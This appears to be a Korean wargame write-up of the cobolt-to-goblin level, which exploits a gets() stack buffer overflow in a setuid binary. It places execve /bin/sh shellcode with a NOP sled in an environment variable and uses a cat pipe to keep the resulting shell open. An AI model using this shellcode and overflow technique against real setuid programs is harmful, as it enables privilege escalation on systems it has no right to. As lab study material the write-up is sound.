여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.
setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.
따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.
따라서 이 문제는 cobolt에서 goblin의 셸을 따내어야한다는 것을 알 수 있다.
cat goblin.c
gets() 를통해서 버퍼에 저장된 문자열을 받는데,
문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않기 때문에 BOF 취약점이 발생할 수 있다.
0x10 크기의 버퍼공간이 sub함수에 의해서 할당된다.
앞 문제(레벨2) 와 마찬가지로 셸코드를 삽입할 충분한 공간이 없기때문에 환경변수를 사용하고자한다.
앞서 1회용 환경변수를 export로 설정해주었는데, 이는 로그인 할때마다 초기화 되기 때문에 새로 설정해줘야한다.
환경변수와 관련한 설명은 아래 사진과 같이 이전 포스팅에 자세히 설명되어있다.
환경변수 목록은 export 를 통해서 볼 수 있다.
아래와 같이 환경변수를 설정해주었다.
export SHELLCODE=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
환경변수의 셸코드 앞에 NOP을 넣는 이유는, 공간을 띄워서 공격 성공률을 높이기 위함이다.
getenv.c 파일 만들어서 마찬가지로 셸코드 환경변수 주소 확인하였다.
컴파일 하고 주솟값 얻었음: 0xbffffe6a
따라서 공격구문은 아래와 같이 구성했는데, 여기서는 2번문제와 다르게 셀이 입력값을 받는 것을 대기하고 있는 것을 볼 수 있다.
./goblin $(python -c 'print "\x90"*20 + "{shellcode addr}"')
(12가 아니고 20인데 사진에서는 .. 잘못넣었음)
이유에 대해서 알아보니, 셸이 획득은 되었지만, EOF까지 넘겨주게 되어서 셸 획득 이후 바로 프로그램이 종료되어 버리는 것 같았다.
셸이 획득이 안되는게 아니라 EOF까지 넘겨주게되어서 셸 획득 이후 바로 종료되어버린다는 이야기 같다.
EOF: End of File
또 더 찾아보니까
결론이 python으로 값을 출력한 다음, 표준 입력을 표준 출력으로 바꿔주는 역할을 하는 cat명령어를 사용하여 EOF 전달을 막아서 셸이 종료되지 않도록 하는 듯 해야한다고 한다.
끙…
그럼 다시 페이로드를 구성하면
(python -c 'print "\x90"*20 + "{SHELLCODE ENV addr}"'; cat) | ./goblin